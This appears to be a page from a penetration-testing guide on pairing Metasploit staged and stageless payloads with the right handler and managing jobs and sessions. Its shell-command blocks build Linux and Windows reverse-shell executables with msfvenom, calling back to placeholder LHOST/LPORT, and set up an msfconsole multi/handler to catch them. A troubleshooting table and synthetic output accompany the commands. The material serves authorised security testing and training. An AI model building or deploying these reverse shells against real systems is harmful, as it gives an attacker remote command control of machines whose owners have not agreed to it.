Pair staged payloads with the correct handler and session lifecycle

Needs: Exact payload/architecture/transport pairing, correct listener binding, reachable staging path and suitable job/session configuration

Shell commands

# Baseline
msfvenom -l payloads | grep -E 'linux|windows' | grep -E 'x64|x86'
msfvenom --list formats
msfvenom -p PAYLOAD_NAME --list-options

# Baseline stageless command shells
msfvenom -p linux/x64/shell_reverse_tcp \
  LHOST=LHOST LPORT=LPORT \
  -f elf -o shell.elf

msfvenom -p windows/x64/shell_reverse_tcp \
  LHOST=LHOST LPORT=LPORT \
  -f exe -o shell.exe

file shell.elf shell.exe
sha256sum shell.elf shell.exe

# Existing reviewed PoC with documented byte restrictions
msfvenom -p PAYLOAD_NAME \
  LHOST=LHOST LPORT=LPORT \
  EXITFUNC=thread \
  -f FORMAT -v VARIABLE \
  -b 'BAD_CHARACTERS' -s MAX_SPACE

Staging distinction

Use EXITFUNC only when the exploit/consumer requires that termination behavior. Never invent bad characters or size limits.

# Staging distinction
windows/x64/shell_reverse_tcp  single/stageless
windows/x64/shell/reverse_tcp  staged

# Matching handler
msfconsole -q
use exploit/multi/handler
set PAYLOAD PAYLOAD_NAME
set LHOST LHOST
set LPORT LPORT
set ExitOnSession false
show options
run -j

# Manage the resulting job/session deliberately
jobs -l
sessions -l
sessions -i SESSION_ID
background
sessions -k SESSION_ID
jobs -k JOB_ID

ExitOnSession false keeps the handler available after a session opens. run -j backgrounds the handler. A session ID is local to that framework instance; record the target, identity, payload and listener rather than relying on the number alone.

Verify → Verify the resulting session's host/identity and keep the listener/payload relationship explicit.

If it fails → Wrong payload family, second-stage filtering, listener bind or handler lifecycle can explain the same superficial no-session symptom. More detail ↓

If → then

A PoC, injected command or remote client reports execution → Verify command execution, host and represented identity
Needs: A functioning execution primitive and an observable output or controlled side effect
Command execution or payload delivery exists but the expected usable channel does not → Diagnose connection direction, listener and session failures in order
Needs: A recorded first execution proof, correct advertised route, active compatible listener and observable connection evidence
An existing exploit/delivery primitive needs a binary or raw payload → Generate a payload matching OS, process, format and handler
Needs: Verified target/process architecture, delivery format, callback route, payload constraints and a matching staged/stageless listener

No useful finding → another task in this topic. Failed check → resolve the failure before ruling out the path.

Explanation & examples

Pair staged payloads with the correct handler and session lifecycle

USE WHEN: A payload connects without a session, or a handler/session exits unexpectedly
STARTING ACCESS: A recorded delivery/execution chain with the expected consumer and effect
RESULT: A verified intended session rather than merely a connected socket

Recognize the clue

In the selected handler console compare the exact payload/options with the generated artifact and inspect job/session state.

show options
jobs
sessions

SYNTHETIC EXAMPLE OUTPUT

Artifact payload: staged PAYLOAD_NAME
Listener: raw Netcat
Sessions: none

Means: The first-stage protocol may be reaching a receiver that cannot provide the remaining stage.

Confirm: Verify exact payload/architecture/transport pair, listener bind, stage route and lifecycle.

After validation: A matching supported handler completes the intended session and identity is checked: use it.
Ruled out in this context: The handler is configured for another payload family: reject that pairing.
Still inconclusive: A connection without stage/command evidence leaves a usable session unproved.

Troubleshooting: Wrong payload family, second-stage filtering, listener bind or handler lifecycle can explain the same superficial no-session symptom.

Baseline stageless command shells:

Existing reviewed PoC with documented byte restrictions:

Use EXITFUNC only when the exploit/consumer requires that termination behavior. Never invent bad characters or size limits.

Staging distinction:

A staged payload first connects and asks its handler for the larger stage. A raw Netcat listener cannot supply that protocol.

Matching handler:

Manage the resulting job/session deliberately:

ExitOnSession false keeps the handler available after a session opens. run -j backgrounds the handler. A session ID is local to that framework instance; record the target, identity, payload and listener rather than relying on the number alone.

Handler failure cues:

Output	Interpretation
Handler never binds	Bad local address, occupied port or privilege issue
Raw listener receives connection; framework does not	Different port/interface or payload transport
Handler receives connection but no session	Exact payload/stager mismatch, stage blocked or crash
Session opens then dies	Parent exits, payload exit behavior, route/control or process crash
Session opens as unexpected architecture/type	Default payload or target was not explicitly selected

Why it works

A handler speaks the payload's protocol. Staged payloads need the rest of their payload after the first connection; jobs, sessions and listener lifecycle are different framework state.

Worked example · hypothetical

Observation: a staged payload reaches a raw TCP listener. Test: match the exact payload in its supported handler. Illustrative output: staging completes and a session is listed. Interpretation: verify the target and identity through it.

New identity, privilege, host or route? Re-enumerate → All topic tasks →

Study guide ↗Full procedure ↗Cheatsheet ↗